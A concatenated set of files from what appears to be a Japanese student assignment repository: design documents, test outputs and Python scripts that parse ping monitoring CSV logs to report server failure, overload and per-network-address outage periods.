N = 2で, 20.系だけで, 故障が検出される.
- [x] N=1
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分20秒 継続中
20.20.30.2/16
2020年10月19日13時31分24秒 継続中
IP 過負荷はじめ 過負荷終わり 期間
NetAddress 故障はじめ 故障終わり 期間
10.20.0.0
2020年10月19日13時31分20秒 2020年10月19日13時31分25秒 5秒間
2020年10月19日13時31分26秒 2020年10月19日13時32分25秒 59秒間
2020年10月19日13時32分26秒 2020年10月19日13時33分30秒 1分4秒間
172.16.31.10
2020年10月19日13時31分24秒 継続中
```
- [x] N=2
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分20秒 継続中
20.20.30.2/16
2020年10月19日13時31分24秒 継続中
IP 過負荷はじめ 過負荷終わり 期間
NetAddress 故障はじめ 故障終わり 期間
172.16.31.10
2020年10月19日13時31分24秒 継続中
```
- [x] test4-2.csv
異なるプレフィックス長をもつネットワークアドレスがログに存在する場合.
N = 1で, 2系統で, 故障が検出される.
N = 2で, 1系統のみで, 故障が検出される.
- [x] N = 1
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分20秒 継続中
10.20.30.2/12
2020年10月19日13時31分24秒 継続中
IP 過負荷はじめ 過負荷終わり 期間
NetAddress 故障はじめ 故障終わり 期間
10.20.0.0
2020年10月19日13時31分20秒 2020年10月19日13時31分25秒 5秒間
2020年10月19日13時31分26秒 2020年10月19日13時32分25秒 59秒間
2020年10月19日13時32分26秒 2020年10月19日13時33分30秒 1分4秒間
10.16.0.0
2020年10月19日13時31分24秒 継続中
```
- [x] N = 2
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分20秒 継続中
10.20.30.2/12
2020年10月19日13時31分24秒 継続中
IP 過負荷はじめ 過負荷終わり 期間
NetAddress 故障はじめ 故障終わり 期間
10.16.0.0
2020年10月19日13時31分24秒 継続中
```
<file_sep># 監視ログ解析
## 構造
.
├── Q1
│ ├── [document.md](./Q1/document.md) : Q1のドキュメント
│ └── [q1.py](./Q1/q1.py) :
├── Q2
│ ├── [document.md](./Q2/document.md) : Q2のドキュメント
│ └── [q2.py](./Q2/q2.py)
├── Q3
│ ├── [document.md](./Q3/document.md) : Q3のドキュメント
│ └── [q3.py](./Q3/q3.py)
├── Q4
│ ├── [document.md](./Q4/document.md) : Q4のドキュメント
│ └── [q4.py](./Q4/q4.py)
├── query.txt :問
├── readme.md
└── test\_file :テスト用のCSVファイルを格納するディレクトリ
├── test1-0.csv
├── test1-1.csv
├── test1-2.csv
├── test1-3.csv
├── test1-4.csv
│
:
<file_sep># 設問3
## 要求定義
pingがタイムアウトした場合を故障とみなし最初にタイムアウトしたときから次にpingの応答が返るまでを故障期間とする。
監視ログファイルを読み込み、故障状態のサーバアドレスとそのサーバの故障期間を出力する
ただし, 連続N回未満のタイムアウトでは故障とみなさないようにする.
また, m回の平均応答時間がtミリ秒を超える場合はサーバが過負荷状態であるとみなす.
過負荷状態のサーバ期間も出力できるようにする.
**ただし, 直近m回の中にタイムアウトが存在する場合, そのタイムアウトは平均の計算から除外しm-1回の平均で判断する**
N, m, tはパラメータとして外部から与えられる.
## 外部設計
- 入力
ログが書き込まれたCSVファイル名と
故障とみなす連続タイムアウト回数N ,
及び, 過負荷判断のための平均計算回数mと閾値時間t
を入力とする.
ただし, パラメータが明示的に示されない場合
N=1, m=1, t=4294967295とする.
```
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
:
:
```
ただし, CSVファイルは一行あたりの要素を3つのみとし, それ以外の行は無視する.
- 確認日時
確認日時はYYYYMMDDhhmmssの形式とする.
ただし, YYYY=西暦(4桁の半角数字), MM=月(2桁の半角数字),
DD=日(2桁の半角数字), hh=時(2桁の半角数字), mm=分(2桁の半角数字), ss=秒(2桁の半角数字)とする.
この形式に合わない入力が存在した場合, 動作を停止する.
- サーバアドレス
サーバアドレスはネットワークプレフックス長付きのIPv4アドレスとする.
- 応答結果
応答結果はpingの応答時間をミリ秒単位で記載される.
ただしタイムアウトの場合は"-"のみが記載される.
この形式に合わない入力が存在した場合, 動作を停止する.
- 出力
以下のフォーマットで故障期間を標準出力に表示する.
```
IP 故障はじめ 故障終わり 期間
<サーバアドレス1>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
<サーバアドレス2>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
IP 高負荷はじめ 高負荷終わり 期間
<サーバアドレス1>
<過負荷始まり> <過負荷終わり> <期間>
<過負荷始まり> <過負荷終わり> <期間>
:
<サーバアドレス2>
<過負荷始まり> <過負荷終わり> <期間>
<過負荷始まり> <過負荷終わり> <期間>
:
```
ただし, 故障期間や過負荷期間の無いサーバアドレスはその直前に表示しない.
故障期間の始まり, 終わりはそれぞれ
"YYYY年MM月DD日hh時mm分ss秒" の形式とする.
また 故障期間は"d日h時間m分s秒 間"とする.
ただし, d > 0, h ∈ [1, 23], m ∈ [1, 59], s ∈ [1, 59] の整数とし,
それぞれが0の時はその数値と後続の単位の表示を行わない.
最新の応答結果がタイムアウトの場合は, <故障終わり>を"継続中"とし,
故障期間を表示しない.
また同様に, 最新のping平均によって過負荷が判定された場合,
<過負荷終わり>を"継続中"とし, 故障期間を表示しない.
- 環境と実行方法
OS : Ubuntu18.04 LTS, python3.8.5 で動作を確認
`$python3 q3.py <CSVファイル名>`
或いは
`$python3 q3.py <CSVファイル名> --N <N> --t <t> --m <m>`
## 内部設計
### データフロー
入力されたデータは次のような流れで処理をする.
1. コマンドライン引数を解析し, 入力ファイル名を決定する.
2. 決定された入力ファイルを読み込み以下の形式で集計する.
ここで, "()"はタプルを, "[]"はリストを意味する.
```
[
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
:
]
```
3. 2で集計されたデータ形式をパラメータmを参照しながら下記の形式で示された構造に集計し直す.
ここで, "()"はタプルを, "[]"はリスト, "{}"は連想配列を意味する.
```
{
<サーバアドレス1> : [(<確認datetime 1-1>, <ping値>, <直近m回ping平均>), (<確認datetime 1-2>, <ping値>, <直近m回ping平均>) ... ],
<サーバアドレス2> : [(<確認datetime 2-1>, <ping値>, <直近m回ping平均>), (<確認datetime 2-2>, <ping値>, <直近m回ping平均>) ... ],
.
.
.
}
```
<確認datetime n-k> は `datetime.datetime`クラスのインスタンスとする.
<ping値>はタイムアウト時はNoneそれ以外ではpingの応答時間の整数値とする.
ただし, 任意のn, k < l ∈ 自然数において,
datetime n-k < datetime n-l となるようにソートする.
4. 3で得られた連想配列とパラメータNから故障状態を求め, サーバアドレスをキーとした連想配列にまとめる.
```
{
<サーバアドレス1> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
<サーバアドレス2> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
}
```
<故障期間の始まり>, <故障期間の終わり>, <故障期間>はそれぞれ, 外部設計仕様に従う.
5. 4で求められた故障状態を表示する.
外部設計仕様に従い表示する
6. 3で得られた連想配列とパラメータNから過負荷期間を求め, サーバアドレスをキーとした連想配列にまとめる.
```
{
<サーバアドレス1> : [
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
],
<サーバアドレス2> : [
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
(<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>),
],
}
```
<過負荷期間の始まり>, <過負荷期間の終わり>, <過負荷期間>はそれぞれ, 外部設計仕様に従う.
7. 6で求められた過負荷状態を表示する.
外部設計仕様に従い表示する
## テスト
### 設問1に対するテスト
ここでは故障期間の表示部分のみを確認し, 過負荷状態は確認しない.
実行は`python3 q3.py <ファイル名>` とする.
詳細はQ1/document.mdを参照.
同様な結果を確認しているため, ここでは出力を示さない.
- [x] test1-0.csv
- [x] test1-1.csv
- [x] test1-2.csv
- [x] test1-3.csv
- [x] test1-4.csv
- [x] test1-5.csv
### 設問2に対するテスト
ここでは故障期間の表示部分のみを確認し, 過負荷状態は確認しない.
実行は`python3 q3.py <ファイル名> --N <N>` とする.
詳細はQ2/document.mdを参照.
同様な結果を確認しているため, ここでは出力を示さない.
- [x] N=2の時
- [x] N=3の時
- [x] N=4の時
### 設問3に対するテスト
ここでは, 過負荷期間の表示部分のみ確認し, 故障期間は確認しない.
- [x] test3-0.csv
21 < t < 60でm=1の時のみ過負荷と判定されるサーバが一つ存在するログ
- [x] m = 1, t = 60 (過負荷あり)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時31分24秒 2020年10月19日13時33分29秒 2分5秒間
```
- [x] m = 1, t = 61 (過負荷なし)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
```
- [x] m = 2, t = 60 (過負荷なし)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
```
- [x] m = 3, t = 21 (過負荷なし)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
```
- [x] test3-1.csv
t = 60においてm=1の時で3回, m=2の時で2回, m=3で1回, m=4で0回, 過負荷と判定されるサーバが一つ存在するログ
- [x] t=60 m=1 (過負荷3回)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時35分24秒 2020年10月19日13時40分29秒 5分5秒間
2020年10月19日13時42分24秒 2020年10月19日13時44分29秒 2分5秒間
2020年10月19日13時46分24秒 2020年10月19日13時48分25秒 2分1秒間
```
- [x] t=60 m=2 (過負荷2回)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時43分24秒 2020年10月19日13時44分29秒 1分5秒間
2020年10月19日13時47分24秒 2020年10月19日13時48分25秒 1分1秒間
```
- [x] t=60 m=3 (過負荷1回)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時48分24秒 2020年10月19日13時48分25秒 1秒間
```
- [x] t=60 m=4 (過負荷なし)
```
IP 故障はじめ 故障終わり 期間
IP 過負荷はじめ 過負荷終わり 期間
```
- [x] test3-2.csv
内部にtimeoutを含むログ.
- [x] t=60 m=1 (過負荷3回)
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時33分29秒 2020年10月19日13時35分24秒 1分55秒間
2020年10月19日13時41分29秒 2020年10月19日13時42分24秒 55秒間
2020年10月19日13時45分29秒 2020年10月19日13時46分24秒 55秒間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時35分24秒 2020年10月19日13時40分29秒 5分5秒間
2020年10月19日13時42分24秒 2020年10月19日13時44分29秒 2分5秒間
2020年10月19日13時46分24秒 2020年10月19日13時50分25秒 4分1秒間
```
- [x] t=60 m=2 (過負荷3回)
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時33分29秒 2020年10月19日13時35分24秒 1分55秒間
2020年10月19日13時41分29秒 2020年10月19日13時42分24秒 55秒間
2020年10月19日13時45分29秒 2020年10月19日13時46分24秒 55秒間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時35分24秒 2020年10月19日13時40分29秒 5分5秒間
2020年10月19日13時42分24秒 2020年10月19日13時44分29秒 2分5秒間
2020年10月19日13時46分24秒 2020年10月19日13時49分25秒 3分1秒間
```
- [x] t=60 m=3 (過負荷3回)
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時33分29秒 2020年10月19日13時35分24秒 1分55秒間
2020年10月19日13時41分29秒 2020年10月19日13時42分24秒 55秒間
2020年10月19日13時45分29秒 2020年10月19日13時46分24秒 55秒間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時35分24秒 2020年10月19日13時40分29秒 5分5秒間
2020年10月19日13時43分24秒 2020年10月19日13時44分29秒 1分5秒間
2020年10月19日13時47分24秒 2020年10月19日13時49分25秒 2分1秒間
```
- [x] t=60 m=4 (過負荷1回)
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時33分29秒 2020年10月19日13時35分24秒 1分55秒間
2020年10月19日13時41分29秒 2020年10月19日13時42分24秒 55秒間
2020年10月19日13時45分29秒 2020年10月19日13時46分24秒 55秒間
IP 過負荷はじめ 過負荷終わり 期間
10.20.30.1/16
2020年10月19日13時48分24秒 2020年10月19日13時49分25秒 1分1秒間
```
- [x] t=60 m=5 (過負荷0回)
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時33分29秒 2020年10月19日13時35分24秒 1分55秒間
2020年10月19日13時41分29秒 2020年10月19日13時42分24秒 55秒間
2020年10月19日13時45分29秒 2020年10月19日13時46分24秒 55秒間
IP 過負荷はじめ 過負荷終わり 期間
```
<file_sep>#!/usr/bin/env python3
import sys, os
import argparse
import csv
import math
from datetime import datetime, date
def main():
try:
# 1 コマンドライン引数を解析し, 入力ファイル名を決定する.
args = parseCommandLine()
# 2 決定された入力ファイルを読み込み以下の形式で集計する.
data = parseCSV(args.log_file)
# 3 2で集計されたデータ形式をIPごとに集計し直す.
data_byIP = accumerateByIP(data)
# 4 3で得られた連想配列をもとに故障状態を求める.
failure_periods = detectFailurePeriods(data_byIP)
# 5 故障状態を表示する
printFailurePeriods(failure_periods)
except ValueError as e:
print(e)
# 1 コマンドライン引数を解析し, 入力ファイル名を決定する.
# argparseライブラリによって, コマンドライン引数を設定する
def parseCommandLine():
parser = argparse.ArgumentParser()
parser.add_argument("log_file", help="監視結果を保存したカンマ区切形式のログファイル")
return parser.parse_args()
# 2 決定された入力ファイルを読み込み以下の形式で集計する.
# csvライブラリをつかって, CSVをパースする
# 要素が3以外の行は読み込まない.
def parseCSV(filename):
data_csv = []
with open(filename, newline='') as fp:
reader = csv.reader(fp, delimiter=',')
for (i, data_line) in enumerate(reader):
if(len(data_line) == 3):
data_csv.append((i, data_line))
return data_csv
# 3 2で集計されたデータ形式をIPごとに集計し直す.
#
def accumerateByIP(data):
data_byIP = dict()
for (line, data_strs) in data:
key = data_strs[1];
date = data2datetime(data_strs[0], line)
ping = data2ping(data_strs[2], line)
if(key in data_byIP):
data_byIP[key].append((date, ping))
else:
data_byIP[key] = [(date, ping)]
for key in data_byIP:
data_byIP[key] = sorted(data_byIP[key], key=lambda x:x[0])
return data_byIP
# logfileのタイムスタンプをdatetimeに変換する
def data2datetime(date_str, line):
try:
return datetime.strptime(date_str,"%Y%m%d%H%M%S")
except Exception as e:
raise ValueError("タイムスタンプのフォーマットが不正 @line = " + str(line+1))
# logfileのpingをint/Noneに変換する
def data2ping(ping, line):
val = None
try:
val = int(ping)
except Exception as e:
if(ping == None or ping != '-'):
raise ValueError("ping値が不正 @line = " + str(line+1))
return val
# IPごとに集計されたログデータから故障期間を求める
def detectFailurePeriods(data_ByIP):
failures = dict()
for key, info_list in data_ByIP.items():
if(len(info_list) == 0):
continue
failures[key] = detectFailurePeriod(info_list)
return failures
# 一つのIPに対して, 故障期間を計算する
def detectFailurePeriod(info_list):
failures = []
i = 0
while(i < len(info_list)):
(date, ping) = info_list[i]
if(ping == None):
begin_i = i
begin = date
end = None
while(i < len(info_list)):
(date, ping) = info_list[i]
if(ping != None):
end = date
break
i += 1
failure = failure_as_string(i - begin_i, begin, end)
failures.append(failure)
i += 1
return failures
# 時間差分を文字列に変換する
def deltatime2str(delta):
days = delta.days
seconds = delta.seconds%60
mins = (delta.seconds - seconds)//60%60
hours = (delta.seconds - seconds)//60//60
ret = ""
if(days != 0):
ret = ret + "{}日".format(days)
if(hours != 0):
ret = ret + "{}時間".format(hours)
if(mins != 0):
ret = ret + "{}分".format(mins)
if(seconds != 0):
ret = ret + "{}秒".format(seconds)
return ret + "間"
# 故障区間を表示する文字列に変換する.
def failure_as_string(n, begin, end):
start_str = datetime.strftime(begin,"%Y年%m月%d日%H時%M分%S秒")
if(end != None):
end_str = datetime.strftime(end,"%Y年%m月%d日%H時%M分%S秒")
diff = (end - begin)
deltatime2str(diff)
term = deltatime2str(diff)
else:
end_str = "継続中"
term = ""
return (n, start_str, end_str, term)
# 故障区間の標準出力
def printFailurePeriods(failure_periods):
print("IP\t\t故障はじめ\t\t\t故障終わり\t\t\t期間")
for key, failures in failure_periods.items():
if(len(failures) != 0):
print(key)
for f in failures:
print("\t\t{}\t{}\t{}".format(f[1], f[2], f[3]))
if __name__ == "__main__":
main()
<file_sep>#!/usr/bin/env python3
import sys, os
import argparse
import csv
import math
import re
from datetime import datetime, date
def main():
try:
# 1 コマンドライン引数を解析し, 入力ファイル名を決定する.
args = parseCommandLine()
# 2 決定された入力ファイルを読み込み以下の形式で集計する.
data = parseCSV(args.log_file)
# 3 2で集計されたデータ形式をIPごとに集計し直す.
data_byIP = accumerateByIP(data, args.m)
# 4 3で得られた連想配列をもとに故障状態を求める.
failure_periods = detectFailurePeriods(data_byIP, args.N)
# 5 故障状態を表示する
printFailurePeriods(failure_periods, "IP")
# 6 3で得られた連想配列をもとに過負荷期間を求める.
highload_periods = detectHighLoadPeriods(data_byIP, args.m, args.t)
# 7 過負荷期間を表示する
printHighLoadPeriods(highload_periods)
# 8 データをネットワークアドレスごとに集計し直す
data_bynetaddress = accumerateByNetAddress(data_byIP)
# 9 ネットワークアドレス毎に故障期間を求める.
failure_periods_bynetaddress = detectFailurePeriods(data_bynetaddress, args.N)
# 10 故障状態を表示する
printFailurePeriods(failure_periods_bynetaddress, "NetAddress")
except ValueError as e:
print(e)
# 1 コマンドライン引数を解析し, 入力ファイル名を決定する.
# argparseライブラリによって, コマンドライン引数を設定する
def parseCommandLine():
parser = argparse.ArgumentParser()
parser.add_argument("log_file", help="監視結果を保存したカンマ区切形式のログファイル")
parser.add_argument("--N", type=int, default=1,\
help="連続してタイムアウトしたときに故障とみなす回数")
parser.add_argument("--m", type=int, default=1,\
help="負荷判断するためのping回数")
parser.add_argument("--t", type=int, default=4294967295,\
help="負荷判断のしきい値時間[ms]")
args = parser.parse_args()
if(args.m < 1):
raise ValueError("mは1以上の整数値を入力してください")
if(args.t < 0):
raise ValueError("tは0以上の整数値を入力してください")
return args
# 2 決定された入力ファイルを読み込み以下の形式で集計する.
# csvライブラリをつかって, CSVをパースする
# 要素が3以外の行は読み込まない.
def parseCSV(filename):
data_csv = []
with open(filename, newline='') as fp:
reader = csv.reader(fp, delimiter=',')
for (i, data_line) in enumerate(reader):
if(len(data_line) == 3):
data_csv.append((i, data_line))
return data_csv
# 3 2で集計されたデータ形式をIPごとに集計し直す.
#
def accumerateByIP(data, m=1):
data_byIP = dict()
for (line, data_strs) in data:
key = data_strs[1];
date = data2datetime(data_strs[0], line)
ping = data2ping(data_strs[2], line)
if(key in data_byIP):
data_byIP[key].append((date, ping))
else:
data_byIP[key] = [(date, ping)]
for key,data in data_byIP.items():
# logの順序が入れ替わっているときのために, ソートする.
data_byIP[key] = sorted(data_byIP[key], key=lambda x:x[0])
# m回のpingの平均を求める
appended_average = []
for (i, (date, ping)) in enumerate(data):
if(i < m-1):
appended_average.append((date, ping, None))
continue
cnt = 0
acc = 0
for j in range(m):
if(data[i-j][1] != None):
cnt += 1
acc += data[i-j][1]
if(acc != 0):
appended_average.append((date, ping, acc/cnt))
else:
appended_average.append((date, ping, None))
data_byIP[key] = appended_average
return data_byIP
# logfileのタイムスタンプをdatetimeに変換する
def data2datetime(date_str, line):
try:
return datetime.strptime(date_str,"%Y%m%d%H%M%S")
except Exception as e:
raise ValueError("タイムスタンプのフォーマットが不正 @line = " + str(line+1))
# logfileのpingをint/Noneに変換する
def data2ping(ping, line):
val = None
try:
val = int(ping)
except Exception as e:
if(ping == None or ping != '-'):
raise ValueError("ping値が不正 @line = " + str(line+1))
return val
# IPごとに集計されたログデータから故障期間を求める
def detectFailurePeriods(data_ByIP, continuous_timeout):
failures = dict()
for key, info_list in data_ByIP.items():
if(len(info_list) == 0):
continue
failures[key] = detectFailurePeriod(info_list, continuous_timeout)
return failures
# 一つのIPに対して, 故障期間を計算する
def detectFailurePeriod(info_list, continuous_timeout=1):
failures = []
i = 0
while(i < len(info_list)):
(date, ping, ping_average) = info_list[i]
if(ping == None):
begin_i = i
begin = date
end = None
while(i < len(info_list)):
(date, ping, ping_average) = info_list[i]
if(ping != None):
end = date
break
i += 1
if(i - begin_i >= continuous_timeout):
failure = period_as_string(i - begin_i, begin, end)
failures.append(failure)
i += 1
return failures
# 時間差分を文字列に変換する
def deltatime2str(delta):
days = delta.days
seconds = delta.seconds%60
mins = (delta.seconds - seconds)//60%60
hours = (delta.seconds - seconds)//60//60
ret = ""
if(days != 0):
ret = ret + "{}日".format(days)
if(hours != 0):
ret = ret + "{}時間".format(hours)
if(mins != 0):
ret = ret + "{}分".format(mins)
if(seconds != 0):
ret = ret + "{}秒".format(seconds)
return ret + "間"
# 故障区間を表示する文字列に変換する.
def period_as_string(n, begin, end):
start_str = datetime.strftime(begin,"%Y年%m月%d日%H時%M分%S秒")
if(end != None):
end_str = datetime.strftime(end,"%Y年%m月%d日%H時%M分%S秒")
diff = (end - begin)
deltatime2str(diff)
term = deltatime2str(diff)
else:
end_str = "継続中"
term = ""
return (n, start_str, end_str, term)
# 6 IPごとに集計されたログデータから過負荷期間を求める
def detectHighLoadPeriods(data_ByIP, m, t):
highloads = dict()
for key, info_list in data_ByIP.items():
if(len(info_list) == 0):
continue
highloads[key] = detectHighLoadPeriod(info_list, m, t)
return highloads
# 一つのIPに対して, 過負荷期間を計算する
def detectHighLoadPeriod(info_list, m, t):
highloads = []
i = 0
while(i < len(info_list)):
(date, ping, ping_average) = info_list[i]
if(ping_average != None and ping_average >= t):
begin_i = i
begin = date
end = None
while(i < len(info_list)):
(date, ping, ping_average) = info_list[i]
if(ping_average != None and ping_average < t):
end = date
break
i += 1
highload = period_as_string(i - begin_i, begin, end)
highloads.append(highload)
i += 1
return highloads
# 5 故障区間の標準出力
def printFailurePeriods(failure_periods, groupName="IP"):
print("{}\t\t故障はじめ\t\t\t故障終わり\t\t\t期間".format(groupName))
for key, failures in failure_periods.items():
if(len(failures) != 0):
print(key)
for f in failures:
print("\t\t{}\t{}\t{}".format(f[1], f[2], f[3]))
# 7 過負荷期間の標準出力
def printHighLoadPeriods(highload_periods):
if(len(highload_periods.items()) == 0):
return
print("IP\t\t過負荷はじめ\t\t\t過負荷終わり\t\t\t期間")
for key, highloads in highload_periods.items():
if(len(highloads) != 0):
print(key)
for f in highloads:
print("\t\t{}\t{}\t{}".format(f[1], f[2], f[3]))
def accumerateByNetAddress(data_ByIP):
data_by_netaddress = dict()
for key, info_list in data_ByIP.items():
netaddress = getNetAddressFromIP(key)
if(netaddress not in data_by_netaddress):
data_by_netaddress[netaddress] = []
for l in data_ByIP[key]:
data_by_netaddress[netaddress].append(l)
for key in data_by_netaddress:
# logの順序が入れ替わっているときのために, ソートする.
data_by_netaddress[key] = sorted(data_by_netaddress[key], key=lambda x:x[0])
return data_by_netaddress
def getNetAddressFromIP(IP):
match = re.match(r'(\d+)\.(\d+)\.(\d+)\.(\d+)/(\d+)$', IP)
subnet_prefix = int(match.group(5))
ip_as_int = \
int(pow(256, 3)) * int(match.group(1)) + \
int(pow(256, 2)) * int(match.group(2)) + \
int(pow(256, 1)) * int(match.group(3)) + \
int(pow(256, 0)) * int(match.group(4))
mask = (int(math.pow(2, subnet_prefix)) - 1) * int(math.pow(2, 32-subnet_prefix))
netaddress = mask & ip_as_int
netaddress_A = netaddress // int(pow(256, 3)) % 256
netaddress_B = netaddress // int(pow(256, 2)) % 256
netaddress_C = netaddress // int(pow(256, 1)) % 256
netaddress_D = netaddress // int(pow(256, 0)) % 256
return "{}.{}.{}.{}".format(netaddress_A, netaddress_B, netaddress_C, netaddress_D)
if __name__ == "__main__":
main()
<file_sep># 設問1
## 要求定義
pingがタイムアウトした場合を故障とみなし最初にタイムアウトしたときから次にpingの応答が返るまでを故障期間とする。
監視ログファイルを読み込み、故障状態のサーバアドレスとそのサーバの故障期間を出力する
## 外部設計
- 入力
ログが書き込まれたCSVファイルを入力とする.
```
IP 故障はじめ 故障終わり 期間
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
<確認日時>, <サーバアドレス>, <応答結果>
:
:
```
ただし, CSVファイルは一行あたりの要素を3つのみとし, それ以外の行は無視する.
- 確認日時
確認日時はYYYYMMDDhhmmssの形式とする.
ただし, YYYY=西暦(4桁の半角数字), MM=月(2桁の半角数字),
DD=日(2桁の半角数字), hh=時(2桁の半角数字), mm=分(2桁の半角数字), ss=秒(2桁の半角数字)とする.
この形式に合わない入力が存在した場合, 動作を停止する.
- サーバアドレス
サーバアドレスはネットワークプレフックス長付きのIPv4アドレスとする.
- 応答結果
応答結果はpingの応答時間をミリ秒単位で記載される.
ただしタイムアウトの場合は"-"のみが記載される.
この形式に合わない入力が存在した場合, 動作を停止する.
- 出力
以下のフォーマットで故障期間を標準出力に表示する.
```
<サーバアドレス1>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
<サーバアドレス2>
<故障期間の始まり> <故障期間の終わり> <故障期間>
<故障期間の始まり> <故障期間の終わり> <故障期間>
:
```
ただし, 故障期間の無いサーバアドレスは表示しない.
故障期間の始まり, 終わりはそれぞれ
"YYYY年MM月DD日hh時mm分ss秒" の形式とする.
また 故障期間は"d日h時間m分s秒 間"とする.
ただし, d > 0, h ∈ [1, 23], m ∈ [1, 59], s ∈ [1, 59] の整数とし,
それぞれが0の時はその数値と後続の単位の表示を行わない.
最新の応答結果がタイムアウトの場合は, 故障終わり時間を"継続中"とし,
故障期間を表示しない.
- 環境と実行方法
OS : Ubuntu18.04 LTS, python3.8.5 で動作を確認
`$python3 q1.py <CSVファイル名>`
## 内部設計仕様
### データフロー
入力されたデータは次のような流れで処理をする.
1. コマンドライン引数を解析し, 入力ファイル名を決定する.
2. 決定された入力ファイルを読み込み以下の形式で集計する.
ここで, "()"はタプルを, "[]"はリストを意味する.
```
[
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
(CSVの行数(整数), ["<確認日時>", "<サーバアドレス>", "<応答結果>"]),
:
]
```
3. 2で集計されたデータ形式を下記の形式で示された構造に集計し直す.
ここで, "()"はタプルを, "[]"はリスト, "{}"は連想配列を意味する.
```
{
<サーバアドレス1> : [(<確認datetime 1-1>, <ping値>), (<確認datetime 1-2>, <ping値>) ... ],
<サーバアドレス2> : [(<確認datetime 2-1>, <ping値>), (<確認datetime 2-2>, <ping値>) ... ],
.
.
.
}
```
<確認datetime n-m> は `datetime.datetime`クラスのインスタンスとする.
<ping値>はタイムアウト時はNoneそれ以外ではpingの応答時間の整数値とする.
ただし, 任意のn, k < l ∈ 自然数において,
datetime n-k < datetime n-l となるようにソートする.
4. 3で得られた連想配列をもとに故障状態を求め, サーバアドレスをキーとした連想配列にまとめる.
```
{
<サーバアドレス1> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
<サーバアドレス2> : [
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
(<故障期間の始まり>, <故障期間の終わり>, <故障期間>),
],
}
```
<故障期間の始まり>, <故障期間の終わり>, <故障期間>はそれぞれ, 外部設計仕様に従う.
5. 4で求められた故障状態を表示する.
外部設計仕様に従い表示する
## テスト
- [x] test1-0.csv
もっとも基本的な入力である一つのサーバに対する一回の故障について正しく動作するか確認する
実行方法
`$python3 q1.py ../test_file/test1-0.csv`
入力
```
20201019133124,10.20.30.1/16,-
20201019133329,10.20.30.1/16,12
```
出力
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分24秒 2020年10月19日13時33分29秒 2分5秒間
```
- [x] test1-1.csv
一つのサーバに対する一回の故障に加え故障しない別サーバを加えについて正しく動作するか確認する
実行方法
`$python3 q1.py ../test_file/test1-1.csv`
入力
```
20201019133124,10.20.30.1/16,-
20201019133125,10.20.30.2/16,12
20201019133127,10.20.30.3/16,13
20201119133329,10.20.30.1/16,19
20201019133330,10.20.30.2/16,14
20201019133332,10.20.30.3/16,21
```
出力
10.20.30.1/16のみが表示される.
```
IP 故障はじめ 故障終わり 期間
10.20.30.1/16
2020年10月19日13時31分24秒 2020年11月19日13時33分29秒 31日2分5秒間
```
- [x] test1-2.csv
3回のpingを行ったときに1度タイムアウトする状況に対しての全パターンについて正しく動作するか確認する.
実行方法
`$python3 q1.py ../test_file/test1-2.csv`
入力
```
20201019133124,10.20.30.1/16,2
20201019133125,10.20.30.2/16,-
20201019133224,10.20.30.1/16,21
20201019133329,10.20.30.1/16,20
20201019133126,10.20.30.3/16,15
20201019133225,10.20.30.2/16,14
20201019133127,10.20.30.4/16,200
20201019133227,10.20.30.4/16,129
20201019133226,10.20.30.3/16,-
20201019133330,10.20.30.2/16,12
20201019133332,10.20.30.4/16,-
20201029133331,10.20.30.3/16,9
